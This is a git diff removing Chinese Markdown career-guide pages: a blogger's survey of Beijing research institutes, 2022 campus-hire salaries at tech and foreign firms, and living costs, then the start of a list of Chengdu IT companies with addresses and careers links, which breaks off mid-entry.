-北京有着数量庞大的研究所,比如航天科技系列、航空工业系列、中船舶系列、中科院系列、中电科系列、军事科学院下属系列、工信部下属研究院、中国兵器等等。不得不说计算机相关专业真的是万金油,因为上述研究所,不管他们主营业务是啥,他们全都招计算机相关专业的毕业生,并且招的还不少。 - -近几年想成为这些研究所的正式职工都需要是硕士以上了,签的本科生基本都是劳务派遣。户口的事放在生活里统一说。 - -可能家里的长辈听到你去了研究所会觉得很有面子。但是单论软件技术来说,目前研究所是落后于互联网公司的,并且差距还不算小。研究所和互联网公司的办事风格不太一样,互联网公司会把岗位划分的很细致甚至有的互联网公司会无限的细分一个岗位(这点是我觉得不太好的地方,因为划分的太细了,以后跳槽会存在问题),但是研究所的岗位又划分的太粗糙了(从订需求、写开发文档、代码开发、测试、到和客户扯皮这些流程全的你来搞)。另外因为研究所的大部分领导软件方面技术没有互联网那么专,所以对工作量的评估不是太准,有时候安排起活来就比较离谱。是否来研究所要想想明白以下几个问题:(1)你家庭的经济情况,至少北京买房首付家里能掏出来。(2)你的兴趣(如果只想安安静静的写代码,研究所不太合适)。(3)面试通过后你要充分的了解你所在的团队情况,同一个研究所,不同的团队的差别那可大了去了。 - -总体来说,个人感觉如果你在一个二线城市的研究所工作会比在一线城市研究所工作舒服。在一线城市去互联网公司干几年攒点钱撤一个二线城市压力没那么大。在北京的研究所工作北京户口是拿了,但是干几年根本攒不下多少钱,一线城市研究所分房这事就不用做梦了,充其量会给你提供一个宿舍,这种宿舍也就是毕业三到五年内可以住,以后就不能住了。相比于二线城市的研究所,一线城市研究所的工资每月多个两三千,但是房价是二线城市的三到五倍,生活幸福感会大打折扣。 - -### 航天科技&航空工业 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-fcff3f6d-6357-48fe-a807-74c225ce0c95.png) - -我有很多的校友都在航空航天系列的研究所。研究所的具体薪资都比较保密,大部分研究所在给你 offer 的时候不会像互联网公司那样把薪资给你说的清清楚楚并且写在合同上,而是大概和你说个数。而且你入职后两到三个月的薪资往往都很少,等三四个月以后薪资稳定了你才能确定你开多少钱。 - -航空航天目前效益比较好,算是研究所中薪资比较高的。另外食堂和宿舍都有,如果没宿舍还会有租房补贴。但是挣钱和互联网公司肯定没法比。薪资的话刚毕业的学生每月到手大概是一万出头,工资加上各种补贴年薪差不多税前能到20多万。加班没有加班费,出差会有出差补贴,有的团队出差一天补300,有的团队出差一天补400。所以如果你一个月都驻在外面的话,一个月工资到手也两万多呢。但是一年有个一两月出差还行,有的项目组一年有三分之二时间在外面出差,你会怀疑人生的。其实刚毕业头两年航空航天的薪资和互联网公司差距不大,不过在两三年后薪资水平就会逐渐拉开,研究所薪资涨的都慢。 - -另外航空航天的研究所是很忙的,所以别想着进来轻松。研究所的忙法和互联网公司不是一种忙法,有的人在工作强度大的互联网公司待过的可能觉得自己 996 和 007 都能抗,来个研究所还怕啥?我是想说你可能想的有点简单了,在研究所写代码只是工作的一小部分,让你烦心的事多着呢。只是说你如果不把领导打了的话,他不太容易把你开掉。另外研究所有个好处是比较支持在职读博,如果你的组不是太忙,提升下学历是个不错的选择。 - -### 工信部下属研究院 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-0f3b7783-4567-4f07-974d-a31b8d9ec939.png) - -工信部下属的研究院整体上都不错,就比如信通院(中国信息通信研究院),如果你对这个单位陌生的话你可以看看你的行程码下面服务提供商排在第一个的是谁。信通院是制定标准的单位,也是监理单位。在信通院的话代码就很少写了,更多就是写文档了,不过信通院这种地方的视野肯定高一些。薪资的话信通院每个职工薪资差别很大,刚进去工资很低,可能就四五千块钱,但是薪资每个月都会变化,然后稳定在一个数。薪资低的每月到手有一万出头,但我知道每月到手两三万甚至更多的也是有的(不是领导啊,只是职工)。 - -### 中科院系列 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-96c5f7a6-b13b-4153-9c7f-7c4617dbddca.png) - -中科院系列下计算机相关最强的三个所就是自动化所(搞 nlp 的应该都听过宗成庆老师)、软件所、计算所。另外还有信工所、电子所也还凑合。整体待遇上,中科院系列的待遇不如航空航天系列的。你可以把中科院系列的研究所完全的想象成一个大学(嗯,不用想象,确实是个大学,中国科学院大学嘛)。每个团队就是你们研究生的实验室。基本上就是一个大老板,带几个小老板,再带几个职工,另外再配几个中科院的学生。课题组想要挣钱也是需要大老板出去拉活,然后小老板带着学生去干活。工作方式和技术水平和你们研究生的实验室一模一样的,就是多了一些硕士博士职工罢了。 - -中科院系列各个所和各个课题组的待遇以及工作方式差距特别大,工资有少量的比较高的(我说的比较高是能和互联网公司持平),大部分刚进来的硕士应届生工资差不多就是八九千,博士一万多点。有的所提供宿舍,有的所连宿舍都没。总体上来说想在中科院有好的发展,需要你是博士,然后多发论文。等你成为小老板后,且团队可以项目成果转化,或者孵化企业后你的待遇会有比较大的变化。 - -### 中电科系列 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-a4804493-fdb0-48ea-b9f5-82ad9a3d3d08.png) - -中电科系列的待遇比航空航天系列稍差,比中科院系列稍强一些。我感觉中电科系列的加班强度比较高,认识的几个在中电科系列的经常 996 甚至 007,还经常出差。待遇的话基本工资也是每月1万出头,然后出差也是有出差补贴,每天300 或者400,具体要看团队。感觉工资主要是靠出差补贴堆起来的。大部分下属院所会提供职工宿舍,中电科系列下属研究所风格差别很大,好起来是真好,坑起来是真坑啊。 - -### 中国兵器系列 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-db583262-a5d4-4137-88e1-90f0127ba755.png) - -中国兵器系列计算机相关专业招的不是太多,其实每年一共招的人也不多。我最初对中国兵器系列的研究所有了解是一个所来我们学校宣讲。感觉中国兵器在西安的几个所能算的上是西安研究所的天花板了吧,待遇还不错(和航天504所比我有点不太确定)但是在北京我就不太清楚了。 - -### 军事科学院系列 - -军事科学院系列的研究所招的职位都是军队文职,也就是说都需要考试的。我上时,听过几家军事科学院下属单位来宣讲,只是有个粗略的了解。军队文职也是上班制的,上班时也是需要穿军装的,下班后的生活不干预。工资有个很详细的职称对应表,硕士进去我记得是一万出头。想有好的发展最好去抓总单位,因为上面提的很多研究所想要项目都得抓总单位批。不过抓总单位的科研岗都要博士了,硕士进去只能是支撑岗位。 - -北京来我们学校宣讲的几家军科院下属研究所都是承诺户口以及包解决子女上学问题的。当时说的是博士进去副营级,会提供一个四十平左右的房子住。硕士就是普通两人一间的宿舍。 - -## 生活方面 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-799a0d1a-7782-4e3c-8a36-4c495cd94ae5.png) - -北京具体的房价、美食教育等情况我放到下一篇讲北京互联网公司的文章中好好去讲下。这篇文章只讲一个事,那就是**北京户口**。北京户口的主要用处就是子女教育问题,其它的一些好处就是有北京户口可以申请共有产权房还有摇车牌等。应届毕业生是最好搞定户口的时候了,如果你能进这篇文章中讲的这些单位,大概率你是有户口的。不过拿户口的同时都要签一个五年的服务期合同,违约金每个单位不一样, 20万-50万不等,逐年递减。对于应届生来说户口貌似吸引力没有特别的大,毕竟现在自己还顾不过来,也不知道自己子女在哪呢。但是对于已经有子女的人来说,我一提给北京户口的事他们眼睛就亮了。 - -北京这些年对于户口有也逐渐放宽,一些互联网公司的特殊应届招聘计划也会给户口,另外今年双一流学科的硕士以上应届毕业生都给户口了。 - -另外想要户口还可以走积分落户,不过想要靠积分落户解决北京户口,就需要你头上有犄角,身后有尾巴了。 - -好啦,这篇文章就介绍这么多,期待下一篇北京有哪些大型互联网公司和外企吧! - -### 互联网大厂 - -谈到互联网公司,免不了说薪资。很多应届生校招时由于没有工作经验,容易被哄。首先要知道,校招给你开出的薪资是可以 argue 的,也就是说可以和 hr 商量。然后我主要想说的是,要谈你去和 HR 谈 **base**(每月基础工资), 可不敢去和 hr argue 每年多少薪哈。一个哥们给我讲了个真事,他们公司一个应届生嫌 25k x 15 少,HR 跟他说那给你 25k X 16 吧,然后那个应届生就开心的答应了。HR 给你承诺的每月 base 是没问题的,但是说每年发多少个月的月薪只是一个期望,最终给你发几个月的年终奖要根据你到年底的评分以及你所在团队年底的评分共同决定。 - -下面我说的各个公司薪资时说的每年多少薪也是 HR 说的一个期望薪资呀!许多说发 4 个月年终奖的,实际上一半人拿不到。 - -#### 百度 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-7d1367ae-04c1-4162-aed8-2a99203a623d.jpg) - -坐标:西北旺 - -2022校招薪资:开发岗白菜价 22k,sp 24k,ssp 26k 。算法岗白菜价 26k,sp 29k,ssp 32k。每年 16 薪。 - -个人评价:曾经十分强大的百度这几年逐渐和腾讯阿里拉开了差距。不过就我个人而言还是比较喜欢百度的。首先百度是以技术为导向的,这一点作为程序员应该会有比较好的体验,另外百度总体来说加班不是特别严重。工作制差不多 975 或者是 985, 前两周我趁着去找在百度的同学玩的机会,周六下午三点左右在百度大楼里转了一圈,最起码周末是没几个工位上有人的。工位上有人的看样子也是趁周末想自己单独学习会。另外百度的办公环境还不错,食堂也很好。百度在北京的部门以及岗位都特别齐全,只是大量的开发岗位用 php 有点难顶。 - -百度这两年集中发展人工智能,这一点在给校招开出的薪资上也能看得出来。不得不说这两年校招的薪资是真高呀,就不用说算法岗校招的薪资,开发岗校招的薪资都倒挂了不少老员工。百度在算法上投入的决心是挺大的,自己能搞出深度学习框架 PaddlePaddle 十分让我敬佩。读研时实验室显卡不够我还经常上百度的 AI Studio 平台上薅羊毛,有次顺手打了个比赛得了个名次,排名不高,但百度还真给我寄来几百块钱的购物券。只是最近百度无人车进展的不太顺利,感觉是百度人工只能发展的一大挫折了。 - -#### 腾讯 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-7d6cd775-8895-447a-a348-27443594bdcd.jpg) - -坐标:西北旺 - -2022校招薪资:19-25k,每年 16 薪;每月 4k 租房补贴;6-10 w的签字费分两年发放。 - -个人评价:北京这边腾讯和百度的办公楼离得很近,腾讯在北京这边的部门主要是 PCG 事业群(PCG 中都是腾讯和媒体宣传相关的部门,包含腾讯视频、腾讯新闻、腾讯QQ等,另外央视频也是包给北京这边的腾讯做的。话说PCG 在脉脉上被喷的很惨)。腾讯主要用的语言是 C++ 和 Go,我见过一个部门招 Java 的,不过一方面是招的人数太少,一方面在腾讯做 Java 总觉得有点怪怪的。介绍百度时说的百度是以技术为导向的是说给腾讯听的,因为腾讯是以产品为导向的。产品的话语权比程序员大。 - -腾讯的福利是特别香的,食堂也很好。特别今年把租房补贴涨到了4k。那肯定有鹅选鹅呀。 - -近期搜狗也并入腾讯了,并到了腾讯的 Pcg 事业群下,目前各方面已经和腾讯对齐了。我有个同学先在腾讯的 PCG 实习,然后校招最终选择了去搜狗,结果又被并回 PCG 了,也是特别的缘分。上面的图就是我在搜狗茶水间拍到的照片~可以看到已经都换成腾讯 logo 了。搜狗不在西北旺,搜狗在五道口附近呀。 - - -#### 阿里巴巴 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-996bbbca-dd9c-4108-b796-46f29dd840e9.jpg) - -坐标:望京 - -2022校招薪资:开发岗白菜价 21-24k,sp 25-28k,ssp 29-30k。算法岗白菜价 25k,sp 29-31k,ssp 33-36k。每年 16 薪,签字费 1-10w,还会额外发 6k 的搬家费。 - -个人评价:北京的阿里巴巴大楼在望京。另外目前阿里巴巴的北京总部也在建设中,预计2023年投入使用。阿里巴巴近两年一直有负面消息,我个人而言也不太喜欢阿里的狼性文化。但是有一说一,阿里的技术在国内的互联网是数一数二的。从阿里出来的职工跳槽的认可度绝对是很高的。不过还是求求你们别卷啦! - -#### 字节跳动 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-fd757b6c-154c-4aa6-95a8-467d6a9a83b4.jpg) - -坐标:中航广场 - -2022校招薪资:开发岗白菜价22-24k,sp 26-28k,ssp 30-33k。算法岗白菜价26-29k,sp 30-32k,ssp 35k。每年15薪,还有1w-12w的签字费,我看大部分是 1w!住在 30分钟内可以到达公司的地方额外会有 1500 的租房补贴。 - -个人评价:目前字节慢慢的把 BAT 中的 B 换成了 ByteDance 的 B,字节目前技术的认可度是很高的。我的一位学长 18 年时纠结去京东还是去字节(18年时我听字节跳动这个名字还有些许陌生),最终去了字节。然后他现在的薪资已经让我十分惊叹了。字节跳动的福利待遇也特别好,最近因为业务影响裁应届生虽然是无奈之举,不过或多或少对公司有点影响。字节最近在西安设立了研发中心,另外听说在青岛开了一个元宇宙研发中心,工作地点在市北,校招招人,感兴趣的可以去看看。 - -#### 美团 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-809a1c71-7a8f-43c8-ad4b-befab2fe5cf2.jpg) - -坐标:望京 - -2022校招薪资:开发岗白菜价21k,sp 24k,ssp 27-29k。算法岗白菜价 24k,sp 27k,ssp30-32k。每年15.5薪。其余的福利也就是每天 30 饭补和 9 点以后打车了。 - -个人评价:美团的技术绝对没得说,特别是对于应届生有不错的培养,美团的学城上有很多质量很高的技术资料,许多从美团离职的员工都想念美团的学城。另外给的薪资从去年薪资大涨后也算不错了。虽然今年校招比去年没怎么涨,只是在 ssp 的薪资上做了一些调整,但是凭良心讲,一个应届生这个价确实不低了。不过美团的办公环境和福利就太差劲了,首先美团的办公大楼都是租的,工位也都很简陋,也没食堂。别的公司过节发礼品,好家伙,你团发个贺卡,要么发个微信的红包专属封皮... - -#### 京东 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-e08e1eef-6561-4057-a12e-3a1183fb9ae1.png) - -坐标:亦庄 - -2022校招薪资: 开发岗白菜价 19.5-23k,sp 25-26.5k,ssp 29k。算法岗白菜价 27.5k,sp 31-33.5k,ssp 36.5k。每年 15 薪。 - -个人评价:首先说坐标哦,京东在亦庄,租房会相对便宜一些,省到就是赚到。然后说薪资,京东有个不太好的地方就是薪资的 20% 是绩效,虽然绩效一般都能拿满,但是这部分绩效就不用交住房公积金了呀。京东周末很少加班,周内大部分 8 点左右下班的样子。 - -#### 网易 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-fc7b1b08-0363-4af6-adc2-e6185c55bb9c.png) - -坐标:西北旺 - -2022校招薪资:北京这边网易的薪资划分的不太明确,我看开发爆料出的月薪从 18.4k、22k、24k、25.5k的都有。算法爆出的月薪 25.5k,27.5k, 30k的都有。每年 15 薪。 - -个人评价:北京这边基本上都是网易有道团队的,今年薪资给的不太行呀,不过我百度的朋友和我说他每次晚上看网易大楼的灯总是关的最早的(西北旺聚集的几家公司在楼上可以互相看到对方) - -### 大型外企 - -外企的 wlb(工作生活平衡)一直是大家十分喜欢的,不过近几年由于国内互联网大厂给的实在太多了。同样的水平国内互联网给的薪资大概会比外企多50%左右。另外一些同学也会担心在外企待几年后工作和技术适应不了国内的强度。所以许多 offer 收割机拿到许多大厂 offer 和大型外企 offer 后也会犹豫该去哪。 - -许多人会问面外企是否需要用英文面试?我问了几位在外企的老哥,共同的说法是要看你面的组和职级。有的组是频繁和国外开会交流的,这自然需要你英语好,但是如果你面的组和国外开会少,那么就不需要你英语好。另外看你面的职级是否比较高,如果职级高,和国外交流的事自然少不了。但是如果你只是组长给你布置活你干的话,也不需要你英语好。 - -#### Hulu - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-483d5154-671c-4ef4-844c-3240f34b6008.png) - -坐标:望京 - -2022校招薪资:Hulu 招人的量不大,所以爆料薪资的人不多。有限的几个爆料的年包都在 50w 以上。 - -个人评价:可能做开发的同学没听说过这个公司,不过做算法的同学应该知道这家公司的很多,这家公司出了一本挺不错的书籍叫《百面机器学习》。有许多同学应该在准备算法面试时看过这本书。Hulu 是美国的一个比较热的视频网站。严格的来说 Hulu 应该算是一家小而美的公司,不能算大型企业。但是因为 Hulu 工资不错,技术很好,另外也不加班。所以 Hulu 的 offer 比许多大型企业的 offer 还有诱惑力。 - -#### 微软 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-e0dbb967-2bb3-453f-8384-02c1c0aa61a0.png) - -坐标:离五道口也不远。 - -个人评价:微软的薪资情况和面试考察重点等在介绍苏州时已经详细介绍过了,就不在重复介绍了,大家感兴趣的可以看[这里](https://mp.weixin.qq.com/s/rM5ZpId7O2OBzFb5sHcjeA)。不过相比在微软苏州工作而言,在北京的房价和消费情况水平下,微软北京的薪资就不算太香了。什么?给我 offer 我去不去? 马上去! 微软北京前些年的落户指标比较多,不过近几年微软的落户指标相对少一些了。 - -#### Shoppe(虾皮) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-ea99812c-fdb6-44a6-bc55-79c15ad37a3a.jpg) - -坐标:五道口附近,和搜狗挨着。那片有好多互联网公司。 - -2022校招薪资:白菜价 22k,sp 25k,ssp 27k。有3万签字费,以及12万股票分三年发放。 - -个人评价:你可以把虾皮想象成东南亚的淘宝。我还是比较喜欢虾皮的,薪资很高,技术也不错。但是网传的 965 是没几个组能达到的,虾皮说是外企其实和国内互联网公司风格差不太多。近几年虾皮也越来越卷了。虾皮周六应该是不用加班,前两周周六我和我同学去转了一圈,大门是锁着的。听说周内 7 点到 10 点下班的组都有。 - -#### Amazon - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-9a9d93ca-89fa-4b67-a491-d085eb2601d3.png) - -坐标:朝阳区远洋国际中心 - -2022校招薪资:亚马逊的基础年薪我看到有30w和34.9w 两个档,配给员工的股票也有 23w 和 27w 两个档(第一年发5%,第二年发15%,第三年和第四年都是发40%),签字费第一年会给9.5w的签字费,第二年还会给6.9w的签字费。 - -个人评价:最近几年外企不如国内互联网大厂开出的薪资高,但是外企的养生一直是大家十分喜欢的。亚马逊在外企中算是比较抠的,不过因为近几年亚马逊股票涨的多,所以给了员工股票后员工还是大赚。另外有个缺点就是亚马逊在国内的业务相对比较边缘,但是亚马逊的光环很耀眼,员工出来还是很受欢迎的。 - -#### Apple - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-ba5e8a95-1cf8-42f9-aacc-3573cd93f19f.png) - -坐标:朝阳区建国门外大街国贸大厦 - -个人评价:苹果的保密相当的严格,我也没有关系好的在苹果上班的朋友,所以我也没找到苹果今年校招的薪资是多少。苹果北京的业务比较边缘,岗位基本都是做功能本土化的工作。工作时间是去掉午休后满 8 小时就可以。 - -#### Airbnb - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-b9d6ef38-e7c1-4e00-8409-2f63489a5d6c.png) - -坐标:朝阳区环球金融中心 - -2022校招薪资:基础年薪35w,额外基础薪资 15% 的奖金,8w 美元股票分 4 年发放。 - -个人评价:爱彼迎优势是 wlb(工作生活平衡),且薪资也很不错,这个股票太有诱惑力了。 当然缺点也是有的,这里引用脉脉上一个 Airbnb 职工的匿名评论“Airbnb单纯做项目基本学不到啥技术 、框架封装的太完善且都是业务。自学能力强的话可以来,如果想单纯靠做项目提升能力就需要慎重了”。我感觉这个挺适合我的哦~ 上班干活,六点下班再写写文章,完美。 - -好了,详细介绍的就这么多了。另外谷歌由于在国内招的人十分的少,我也没有在谷歌上班的大神朋友,所以谷歌的信息我就不知道了。Paypal 我找到的信息也有点少,也不展开介绍了,貌似 PayPal 在上海部门比较齐全,北京这边工作地点我最初都没搜到,还是根据朋友圈一个朋友提醒在 boss 上找到的,在朝阳区金地中心。 - -## 生活成本 - -在北京的生活就仁者见仁智者见智了,有的人喜欢他的繁华与机遇,有的人讨厌他的拥挤与压力。 - -### 房价 - -买房的事往后稍稍,咱们先说租房的事。注意啊,我下面说的上班方便基本上就是出门后一个小时内到公司呀!来了北京后大概率事要和人合租了,像上面说的在腾讯百度等西二旗这片区域上班的,大多数选择在回龙观这块和人合租,相对便宜且有地铁站上班比较方便。在回龙观这块租一个 10 来平的卧室大约 2500 左右吧。 在五道口那片上班和望京那片上班的在附近租房要更贵点,租一个 10 来平的卧室大概每月要花 3000+。当然在望京上班可以沿着14号线租的远点,租金会便宜点,上班直接坐着地铁过来也还挺方便。在亦庄那边上班的租房会相对便宜点,2000多点基本可以。想要一个住且在上述公司上班方便,租一个30平左右的一居室基本最低每月都要 5000 以上了。 - -另外大家还可以瞅着点公租房,租金会比较便宜,单租一间 40 平的房子也就不到 3000,只是限制会比较多。部分公司会有公租房名额,我记得度小满就能协助职工申请公租房。申请一居室的会容易点,两居室的难申请。 - -下面就说买房的事了,算了,我对北京买房的事也没什么见解。贴个图你们自己看吧,数据不一定准,就感受下房价有多高吧....密云延庆什么的就太远了,当然有很多人在北京上班在天津买房或者廊坊买房的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-e5bc2cf6-647d-43f9-9352-934440d71b16.png) - -### 美食 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-148db131-6c78-4cbf-86a0-465d88fdd217.png) - -有一句话叫“京城无美食”。虽然这句话有点极端但是也有点道理的。美食的聚集地大部分是沿山沿海沿河沿江的地方,北京一直不是一个美食原料富足的地方。北京常说的北京名菜特点不像鲁菜川菜江苏菜那样特点鲜明。我能想到的北京特色的饭也就是烤鸭、涮羊肉、爆肚、炒肝、京酱肉丝、炸酱面,除了这些还真不太好想了。在北京有个好处是你能在这里吃到全国各地的美食,因为北京全国各地甚至世界各地的人都有,所以各省各国风味的餐厅都会有,但是感觉风味上还是根据北京这边的口味做了一些改变。 - -抛开美食说一个现实的问题,就是吃饭的花销。你在学校时一顿饭也就是十块左右。来到北京后吃饭的花销基本上要比你学校的花销贵一倍左右(因为老板的房租也会摊到饭的价格中)。如果你公司有食堂还好,要是公司没食堂只能吃外卖的话,自己的腰包和胃都受不了。说到这我觉得我以后晚饭还是自己做吧。 - -### 教育&医疗 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-dc5e04dd-8a49-45b2-b96d-e1a17a2405f2.png) - -北京的教育和医疗肯定全国顶级了。再往详细的介绍我觉得我写不出什么有深度的东西了,对于教育和医疗来说,我觉得我这个刚毕业不到一年的人肯定不如在北京待了多年的并且有孩子的了解的多。我只是知道虽然北京的高考会比其它省份容易很多,但北京一贯实行的素质教育对于孩子家长来说会很累,今天陪孩子学个交谊舞,明天学个马术,后天学校开个家长联谊会。对于 996 或者 995 的程序员家长来说真的有点难顶,不像我们上学时很少叫家长了。 - -### 娱乐 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-58c387f7-575f-4c2f-9702-e62d7b7575dc.png) - -北京值得去的玩的地方很多的,圆明园、颐和园、故宫、香山、各种胡同、各种博物馆、各种茶馆。听个相声、听个演唱会,看个体育比赛都是不错的休闲方式。去各种商场转一转买点东西也是休闲。当然因为北京这么大所以周末出来玩一趟会特别花时间。北京的国家级景区票价是比较便宜的,我记得颐和园门票也就四五十,不像其它地区的景区动辄好几百的门票。 - - ->作者:朱晋君,转载链接:[https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw](https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/chengdu.md b/docs/src/cityselect/chengdu.md deleted file mode 100644 index e1bfef642a..0000000000 --- a/docs/src/cityselect/chengdu.md +++ /dev/null @@ -1,487 +0,0 @@ ---- -shortTitle: 成都 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 成都都有哪些值得加入的IT互联网公司? - - -今天应小伙伴们的要求,再来聊一聊美丽的**四川省成都市**有哪些酷酷的IT/技术类公司(不仅仅局限于纯互联网)。 - -成都别称蓉城,是西部地区重要的中心城市,自古就有“天府之国”的美誉。赵雷的一曲《成都》,把蓉城街头的休闲慢悠与自在气息勾勒得淋漓尽致,闭上眼,仿佛我也置身于玉林路的小酒馆门口。虽然我本人从未去过成都,但早有耳闻那是一座来了便不想走了的城市,所以有机会一定要去成都的街头走一走。 - - - -好啦,扯得有点远了,接下来回归正题。注意,我们这里只列举,不作过多评论,且排名不分先后,总结得不一定完全准确,小伙伴们有补充的可以留言,众人拾柴火焰高嘛。 - -都说成都的互联网氛围相当浓厚,接下来直接上菜看看吧! - -> 注:本文特别鸣谢昵称「sky小喵」的成都小伙伴提供的整理和帮助。 - -* * * - -## 华为成研所 - - - -* 类型:通信设备商 -* 地址:成都市郫都区西源大道成都华为研究所 -* 网址:https://career.huawei.com/ - -* * * - -## 腾讯成都研发中心 - - - -* 类型:社交、互联网 -* 地址:成都市武侯区天府三街腾讯大厦 -* 网址:https://careers.tencent.com/ - -* * * - -## 蚂蚁金服(成都) - - - -* 类型:电商、互联网 -* 地址:成都市武侯区蚂蚁C空间 -* 网址:https://campus.alibaba.com/ - -* * * - -## 字节跳动成都研发中心 - - - -* 类型:互联网 -* 地址:成都市武侯区OCG国际中心 -* 网址:https://jobs.bytedance.com/ - -* * * - -## 美团成都研发中心 - - - -* 类型:互联网 -* 地址:成都市天府一街两江国际A座 -* 网址:https://campus.meituan.com/ - -* * * - -## 滴滴成都研发中心 - - - -* 类型:出行、互联网 -* 地址:成都市锦江区天府国际大厦 -* 网址:https://talent.didiglobal.com/ - -* * * - -## 新浪微博成都研发中心 - - - -* 类型:互联网 -* 地址:成都市武侯区天府软件园C区 -* 网址:https://career.sina.com.cn/ - -* * * - -## 中兴成都研发中心 - - - -* 类型:通信设备商 -* 地址:成都市武侯区中兴通讯大厦 -* 网址:http://job.zte.com.cn/ - -* * * - -## OPPO(成都) - - - -* 类型:通信、硬件、移动互联网 -* 地址:成都市武侯区OCG国际中心 -* 网址:http://oppo.zhaopin.com/ - -* * * - -## 爱奇艺(成都) - - - -* 类型:视频、互联网 -* 地址:成都市武侯区天府软件园E区 -* 网址:https://careers.iqiyi.com/ - -* * * - -## 携程成都研发中心 - - - -* 类型:互联网 -* 地址:成都市武侯区天府四街携程大厦 -* 网址:https://careers.ctrip.com/index.html#/ - -* * * - -## 商汤科技(成都) - - - -* 类型:人工智能 -* 地址:成都市天府新区天府箐容中心 -* 网址:https://www.sensetime.com/cn/join-index - -* * * - -## 京东成都研发中心 - - - -* 类型:电商、互联网 -* 地址:成都市武侯区武兴三路西部智谷D区 -* 网址:https://about.jd.com/zhaopin/ - -* * * - -## 科大讯飞(成都) - - - -* 类型:人工智能、数据服务 -* 地址:成都市天府新区菁蓉中心A区 -* 网址:https://candidate.iflytek.com/ - -* * * - -## ThoughtWorks(成都) - - - -* 类型:企业服务、信息安全 -* 地址:成都市武侯区天府软件园E区 -* 网址:https://www.thoughtworks.com - -* * * - -## GARMIN佳明 - - - -* 类型:通讯电子,智能硬件 -* 地址:成都市武侯区天府软件园C区 -* 网址:https://www.garmin.com.cn/job/ - -* * * - -## 极米科技 - - - -* 类型:硬件、电商 -* 地址:成都市武侯区天府软件园A区 -* 网址:https://www.xgimi.com/ - -* * * - -## 聚美优品 - - - -* 类型:电商 -* 地址:成都市武侯区天府软件园G区 -* 网址:http://www.jumei.com - -* * * - -## 锤子科技(忽略) - - - -* 类型:硬件、移动互联网 -* 地址:成都市成华区龙潭工业园 -* 网址:https://www.smartisan.com/support/#/join - -* * * - -## 完美世界(成都) - - - -* 类型:游戏、移动互联网 -* 地址:成都市武侯区天府软件园C区完美世界大楼 -* 网址:http://jobs.wanmei.com/ - -* * * - -## 多益网络(成都) - - - -* 类型:游戏、移动互联网 -* 地址:成都市武侯区天府软件园G区 -* 网址:https://xz.duoyi.com/ - -* * * - -## 当乐网 - - - -* 类型:游戏、移动互联网 -* 地址:成都市高新区天府软件园E区1号楼 -* 网址:https://www.d.cn/hr/ - -* * * - -## 实习僧 - - - -* 类型:招聘、企业服务 -* 地址:成都市武侯区天府五街软件园G区7栋 -* 网址:https://www.shixiseng.com/tc/normal/mx2021 - -* * * - -## 迅游网络 - - - -* 类型:游戏 -* 地址:成都市武侯区天府软件园D区 -* 网址:http://www.xunyou.com/hr/ - -* * * - -## 趣乐多 - - - -* 类型:游戏 -* 地址:成都市武侯区天府软件园C区 - -* * * - -## 理想境界 - - - -* 类型:智能硬件、显示技术 -* 地址:成都市武侯区天府软件园A区 -* 网址:http://www.idealsee.com/home - -* * * - -## 咕 咚 - - - -* 类型:移动互联网 -* 地址:成都市武侯区天府软件园D区 -* 网址:https://www.codoon.com/ - -* * * - -## 百词斩 - - - -* 类型:教育、移动互联网 -* 地址:成都市武侯区天府五街天府软件园E区 -* 网址:http://www.baicizhan.com/ - -* * * - -## 鲁大师 - - - -* 类型:工具、移动互联网 -* 地址:成都市武侯区天府软件园E区 -* 网址:https://www.ludashi.com/ - -* * * - -## 优客逸家 - - - -* 类型:租房、移动互联网 -* 地址:成都市武侯区无国界26栋 -* 网址:http://www.uoko.com/ - -* * * - -## TestBird - - - -* 类型:企业服务、移动互联网 -* 地址:成都市武侯区天府软件园C区 -* 网址:https://www.testbird.com/ - -* * * - -## 实验楼 - - - -* 类型:在线教育 -* 地址:成都市武侯区天府软件园E区 -* 网址:http://www.shiyanlou.com - -* * * - -## 西瓜创客 - - - -* 类型:教育、少儿编程 -* 地址:成都市武侯区OCG国际中心A座 -* 网址:https://www.xiguacity.cn/ - -* * * - -## 医联 - - - -* 类型:医疗、移动互联网 -* 地址:成都市武侯区天府软件园B区 -* 网址:https://www.medlinker.com/join/hr - -* * * - -## Camera360 - - - -* 类型:移动影像 -* 地址:成都市高新区天府软件园E区 -* 网址:http://hr.camera360.com/ - -* * * - -## 小鸡叫叫 - - - -* 类型:在线教育、移动互联网 -* 地址:成都市武侯区皇庭国际A座 -* 网址:https://www.jojoreading.com/ - -* * * - -## 摹客 - - - -* 类型:工具、移动互联网 -* 代表产品:Mockplus、摹客 -* 地址:成都市双流区双兴大道1号电子科技园16栋 -* 网址:https://www.mockplus.cn/ - -* * * - -## 